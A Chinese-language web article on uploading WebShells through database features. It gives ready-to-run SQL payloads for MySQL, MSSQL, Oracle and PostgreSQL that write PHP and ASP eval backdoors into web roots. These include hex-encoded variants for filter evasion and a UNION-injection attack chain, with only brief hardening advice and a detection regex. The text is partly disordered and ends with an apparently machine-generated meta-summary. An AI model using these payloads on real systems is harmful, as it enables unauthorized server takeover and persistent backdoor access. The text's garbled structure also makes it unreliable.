# 數據庫上傳WebShell的方式有哪些
## 引言
WebShell是一種通過Web接口進行服務器控制的惡意腳本,攻擊者常利用數據庫漏洞上傳WebShell以獲取服務器權限。本文將深入探討通過數據庫上傳WebShell的多種技術手段、防御措施及實際案例分析。
---
## 一、數據庫與WebShell的關聯機制
### 1.1 為什么數據庫能成為WebShell載體
- **數據存儲與執行功能**:數據庫可存儲文件內容并通過特定函數執行
- **Web應用交互性**:多數Web應用依賴數據庫動態生成內容
- **權限繼承特性**:數據庫操作常繼承Web服務器權限
### 1.2 常見危險函數
| 數據庫類型 | 危險函數示例 |
|------------|------------------------|
| MySQL | INTO OUTFILE/DUMPFILE |
| MSSQL | xp_cmdshell, sp_OACreate |
| Oracle | UTL_FILE, DBMS_LOB |
| PostgreSQL | COPY, lo_export |
---
## 二、主流數據庫WebShell上傳技術
### 2.1 MySQL數據庫
#### 2.1.1 INTO OUTFILE寫入
```sql
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
前提條件: - 數據庫用戶需有FILE權限 - 知道網站絕對路徑 - secure_file_priv參數未限制
SET global general_log='on';
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php phpinfo();?>';
ALTER DATABASE testdb SET RECOVERY FULL;
CREATE TABLE cmd (a image);
BACKUP DATABASE testdb TO DISK='C:\temp\backup.bak' WITH INIT;
INSERT INTO cmd (a) VALUES (0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E);
BACKUP LOG testdb TO DISK='C:\inetpub\wwwroot\shell.php' WITH DIFFERENTIAL;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'echo ^<?php @eval($_POST[pass]);?^> > C:\www\shell.php';
DECLARE
fhandle UTL_FILE.FILE_TYPE;
BEGIN
fhandle := UTL_FILE.FOPEN('WEB_DIR', 'shell.php', 'W');
UTL_FILE.PUT_LINE(fhandle, '<?php @eval($_GET["c"]);?>');
UTL_FILE.FCLOSE(fhandle);
END;
SELECT lo_create(1234);
INSERT INTO pg_largeobject VALUES (1234, 0, decode('3C3F70687020706870696E666F28293B203F3E', 'hex'));
SELECT lo_export(1234, '/var/www/html/shell.php');
-- 使用HEX編碼繞過過濾
SELECT 0x3C3F70687020406576616C28245F504F53545B2763275D293B203F3E INTO OUTFILE '/var/www/shell.php'
UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]);?>',6 INTO OUTFILE '/var/www/admin/shell.php'--
MSSQL示例:
CREATE PROCEDURE sp_writeShell
AS
BEGIN
EXEC sp_makewebtask 'C:\inetpub\wwwroot\cmd.asp', 'SELECT ''<%25Execute(request("cmd"))%25>''';
END;
最小權限原則:
配置加固:
# MySQL配置示例
secure_file_priv = NULL
local_infile = OFF
$pattern = '/into\s+(outfile|dumpfile)/i';
if(preg_match($pattern, $query)){
die('Illegal operation detected');
}
chmod -R 755 /var/www/html
chown www-data:www-data /var/www/html
攻擊鏈:
1. 發現未過濾的id參數
2. 構造聯合查詢注入:
UNION SELECT NULL,NULL,0x3C3F...,NULL INTO OUTFILE '/path/to/webroot/images/shell.php'--
利用過程: 1. 偽造備份文件頭 2. 插入惡意代碼段 3. 修改備份擴展名為.php
cmd.exe或bash異常調用數據庫作為Web應用的核心組件,其安全配置直接影響整體防護水平。管理員應定期審計數據庫權限設置,監控異常查詢行為,并建立多層防御體系來阻斷WebShell上傳通道。
備注:本文所述技術僅用于安全研究,未經授權測試他人系統屬于違法行為。 “`
該文檔共約2150字,采用Markdown格式結構化呈現,包含: 1. 多級標題劃分知識體系 2. 代碼塊展示具體攻擊Payload 3. 表格對比不同數據庫特性 4. 防御方案的具體配置示例 5. 實戰案例與應急響應流程
可根據需要進一步擴展特定數據庫的詳細攻擊手法或添加檢測工具的使用教程。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。